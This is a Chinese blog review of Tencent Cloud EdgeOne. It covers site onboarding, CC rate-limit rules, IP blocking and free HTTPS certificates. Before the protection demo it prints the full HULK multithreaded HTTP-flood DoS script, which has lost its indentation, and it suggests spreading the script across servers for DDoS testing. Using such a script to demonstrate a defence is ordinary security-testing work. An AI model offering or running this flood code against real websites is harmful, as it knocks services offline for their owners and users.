腾讯EdgeOne产品测评体验—腾讯云Edgeone为我的网站保驾护航

发布于

前言

众所周知，网站如果没有安全防护，极易遭受恶意攻击，导致运行受阻甚至瘫痪。为保障网站的安全稳定运行，必须采取诸如CDN加速与DDoS防护等措施，为用户提供安全、可靠的服务。

本文将基于腾讯云边缘安全加速平台，介绍网站接入CDN和DDoS防护的重要性、实施方法以及最佳实践，为大家提供有价值的参考。

边缘安全加速平台介绍

边缘安全加速平台全称 Tencent cloud EdgeOne ，简称 EO（下文简称为 EdgeOne）。

一张图看懂EdgeOne是什么。

如图所示，当用户向源站发起请求时，EdgeOne会依托腾讯边缘计算节点，为网站提供全方位的边界保护，包括DDOS防护、CC防护、WEB安全防护以及BOT安全防护等。不仅如此，还为用户提供网站加速服务，通过综合的安全防护与加速功能，为用户的网站提供强有力的支持与保障。

简单来讲，EdgeOne 就是CDN和高仿服务器的结合体。

更详细的介绍可以移步至官网。

模拟网站被攻击

在网站接入EdgeOne前，先模拟一下被攻击，看一看服务器被攻击的状态。

攻击脚本

这里准备一个攻击脚本。这个脚本是一个简单的HTTP请求攻击脚本。它使用多线程来发送大量的HTTP请求到指定的URL，以此方式尝试对目标服务器造成拒绝服务（DoS）攻击。

（仅用于学习和教育目的，不应该用于任何非法或不道德的活动。）

代码语言：javascript
复制
import urllib2
import sys
import threading
import random
import re

#global params

url=''

host=''

headers_useragents=[]

headers_referers=[]

request_counter=0

flag=0

safe=0


def inc_counter():

global request_counter

request_counter+=1


def set_flag(val):

global flag

flag=val


def set_safe():

global safe

safe=1


generates a user agent array


def useragent_list():

global headers_useragents

headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')

headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')

headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')

headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')

headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')

headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')

headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')

headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')

headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')

headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')

headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')

headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')

return(headers_useragents)


generates a referer array


def referer_list():

global headers_referers

headers_referers.append('http://www.google.com/?q=')

headers_referers.append('http://www.usatoday.com/search/results?q=')

headers_referers.append('http://engadget.search.aol.com/search?q=')

headers_referers.append('http://' + host + '/')

return(headers_referers)


#builds random ascii string

def buildblock(size):

out_str = ''

for i in range(0, size):

a = random.randint(65, 90)

out_str += chr(a)

return(out_str)


def usage():

print '---------------------------------------------------'

print 'USAGE: python hulk.py <url>'

print 'you can add "safe" after url, to autoshut after dos'

print '---------------------------------------------------'


#http request

def httpcall(url):

useragent_list()

referer_list()

code=0

if url.count("?")>0:

param_joiner="&"

else:

param_joiner="?"

request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))

request.add_header('User-Agent', random.choice(headers_useragents))

request.add_header('Cache-Control', 'no-cache')

request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')

request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))

request.add_header('Keep-Alive', random.randint(110,120))

request.add_header('Connection', 'keep-alive')

request.add_header('Host',host)

try:

urllib2.urlopen(request)

except urllib2.HTTPError, e:

#print e.code

set_flag(1)

print 'Response Code 500'

code=500

except urllib2.URLError, e:

#print e.reason

sys.exit()

else:

inc_counter()

urllib2.urlopen(request)

return(code)


#http caller thread

class HTTPThread(threading.Thread):

def run(self):

try:

while flag<2:

code=httpcall(url)

if (code==500) & (safe==1):

set_flag(2)

except Exception, ex:

pass


monitors http threads and counts requests


class MonitorThread(threading.Thread):

def run(self):

previous=request_counter

while flag==0:

if (previous+100<request_counter) & (previous<>request_counter):

print "%d Requests Sent" % (request_counter)

previous=request_counter

if flag==2:

print "\n-- HULK Attack Finished --"


#execute

if len(sys.argv) < 2:

usage()

sys.exit()

else:

if sys.argv[1]=="help":

usage()

sys.exit()

else:

print "-- HULK Attack Started --"

if len(sys.argv)== 3:

if sys.argv[2]=="safe":

set_safe()

url = sys.argv[1]

if url.count("/")==2:

url = url + "/"

m = re.search('http://([^/]*)/?.*', url)

host = m.group(1)

for i in range(500):

t = HTTPThread()

t.start()

t = MonitorThread()

t.start()

攻击脚本执行

在脚本目录执行 python hulk.py http://www.xxx.xx对该服务器进行攻击。（有条件的可以分发到多台服务器进行DDos测试）

可以看到，在没有任何防护的情况下，第二批请求就可以让网站崩溃了，直接返回500。

此时我的服务器监控是这样的。

网站快速接入 EdgeOne

接下来，将自己的网站接入EdgeOne，达到安全加速的效果。下面是接入步骤。

前提条件（注意事项）

在接入EdgeOne之前，有两个注意事项：

  1. 域名要先备案，否则无法接入。如果没有备案的前往域名备案处，备案时长大概10～15天。
  2. 如果是阿里云的域名，需要在阿里云域名解析处将DNS改为腾讯云的。然后再来云解析DNS添加EdgeOne的DNS解析记录。

一定要注意！！！

添加站点

在进入EdgeOne控制台后添加一个站点，如下图。

输入站点名称，填写域名即可。

选择EdgeOne套餐，这里已经购买，直接选择。

接下来选择加速区和接入模式。

这里加速区选择【全球可用区】，接入模式选择 CNAME 接入。

最后将DNS解析添加至域名解析处，验证完成即可。

添加加速域名

站点添加完成后就可以添加速域名，这一步操作完成后，这个域名就会成功接入EdgeOne，你的网站就会受到EdgeOne的保护了。下面是完整的操作步骤：

1.进入站点添加域名。

2.配置域名

这里的配置项简单说明一下：

加速域名：填写域名对应的主机记录值即可。例如：当前需添加的加速网站为 www.example.com，这里填写为 www 即可。

源站配置：配置你的服务器IP。

IPv6 访问：根据自己的需求配置。

回源协议：根据自己的需求配置。

回源端口：根据自己的需求配置。

配置：在这一步会根据你选择的配追添加【规则引擎】，也可跳过该步骤，后续自行添加。

最后，在云解析DNS按照下图中配置添加解析记录。

使用免费证书部署域名

边缘安全加速平台 EO 使用免费证书部署至 EdgeOne 域名-域名服务-文档中心-腾讯云

免费HTTPS证书是如今广大开发者和个人站长所关注的焦点之一。在当今互联网环境下，HTTPS访问已经成为现代网站的必备功能之一。如果网站没有启用HTTPS，不仅会影响网站安全性，还会降低搜索引擎排名。因此，在创建个人博客时，需要为自己的域名申请SSL证书，以实现HTTPS访问。虽然申请SSL证书的方式有很多种，但是传统的申请和部署方式往往比较繁琐，而且免费证书通常有时效性限制，需要定期手动更新。

如果您当前网站还未购买 HTTPS 证书，且加速域名不包含泛域名，可申请使用免费证书来测试支持 HTTPS 访问。

说明：

  1. 免费证书由 Let's Encrypt - 免费的SSL/TLS证书 机构颁发，如果您的站点当前为 NS 接入的方式，可申请泛域名证书，如果当前为 CNAME 接入，EdgeOne 只支持申请单域名证书，不支持申请泛域名证书。
  2. 证书有效期为3个月，到期前平台将自动为您申请续期，无需您手动更新。如果您当前是 NS 接入，切换至 CNAME 接入后，申请的泛域名证书到期后将无法自动续期。
  3. 免费证书不支持下载。
  4. 如果域名是 CNAME 接入，您还需要完成 CNAME 配置并等待 CNAME 状态生效，才可以为该域名申请免费 SSL 证书。

EdgeOne的免费HTTPS证书功能极大简化了这一流程，提供一键申请和自动续期服务，无需手动更新，全程自动化管理。快速开启HTTPS访问。申请免费证书只需简单几步操作即可完成，以下是申请和部署免费证书至EdgeOne的操作步骤：

  1. 登录 登录 - 腾讯云，通过站点列表，选择需配置的站点，进入站点管理二级菜单。
  2. 在左侧导航栏中，单击域名服务 > 域名管理。
  3. 在域名管理页面，选择待配置证书的域名，在 HTTPS 列内单击编辑，弹出 HTTPS 证书配置。
  1. 选择申请免费证书后，单击确定，即可完成免费证书的申请和安装。
  2. 部署完成后，您可以在域名管理列表页中，将鼠标悬停于已配置图标上，可展示当前已部署的证书信息。

EdgeOne 安全防护

现在，将网站接入EdgeOne后，看一下能否为我们抵挡住恶意攻击。

CC攻击防护

再次执行 python hulk.py http://www.xxx.xx 对服务器进行攻击。此时，会看到EdgeOne控制台上会显示访问数据。

这里以CC防护为例进行设置。EdgeOne默认配置比较宽松，因为我的服务器配置较低，所以还需要进行一些配置才能达到防护效果。

这里我将其设置为紧急。当客户端请求超过40次/10秒，就可以紧急防护。

此时，再次执行脚本，就会发现网站已经起到防护效果。如下图

DDos攻击防护

有条件的用户可以将攻击脚本分发到多台服务器进行DDos测试。

自定义防护规则

EdgeOne还支持自定义防护配置，比如配置访问 IP 黑白名单、Referer 黑名单、UA 黑白名单或地域限制等。

我们可以根据自己的需求进行配置，简单明了。例如，我们可以把刚才防护的客户端IP进行封禁。如下图

当我再次执行脚本时，就会返回对应的错误码了。

还有各种自定义配置详细说明，可以移步边缘安全加速平台 EO > 安全防护 > Web 防护 > 自定义规则。

OWASP防护

除此之外，EdgeOne还默认提供包含 OWASP top10 在内的托管规则。能够有效防御如 SQL 注入、XSS 攻击、webshell 上传、命令注入等攻击。

例如，我现在在浏览器地址中输入JS脚本进行XSS攻击，可以看到EdgeOne直接帮我们进行了拦截。

控制台中也可以看到相关拦截记录。

EdgeOne 体验感受

经过本次实践，EdgeOne给我留下了以下几点深刻的感受：

  1. EdgeOne实现的安全防护与加速一体化功能，明显提升了产品的性能和用户接受度，企业无需再分别采购CDN、DDoS等独立服务，大大简化了企业的选择与部署流程。
  2. 在配置方面，EdgeOne提供了全站一键配置，用户只需通过简单的操作即可实现全局配置，不用进行繁琐的手动设置，大大简化了配置流程，对于用户来说，提高了产品的易用性。
  3. 特别关注了EdgeOne的计费模式，发现EdgeOne在计费方面有一定的优势，如“干净流量”计费模式。也就是说，以后网站的安全防护、加速成本会大大的降低。

总结

在数字化时代，网络安全已经成为一项至关重要的任务，尤其是在保障网站安全稳定运行方面。依托EdgeOne的加速与安全防护一体化解决方案，我们能够迅速搭建起一套全面且高效的网站安全防护体系。

两三百元钱就可以体验到像CC/WAF/速率限制这种高级安全能力，相当可以了，还可以证书自动续期部署，EdgeOne这个产品很良心了，感兴趣的朋友可以点击链接了解详情：https://cloud.tencent.com/act/pro/edgeone_techoday_promotion?from=22008

#玩转EdgeOne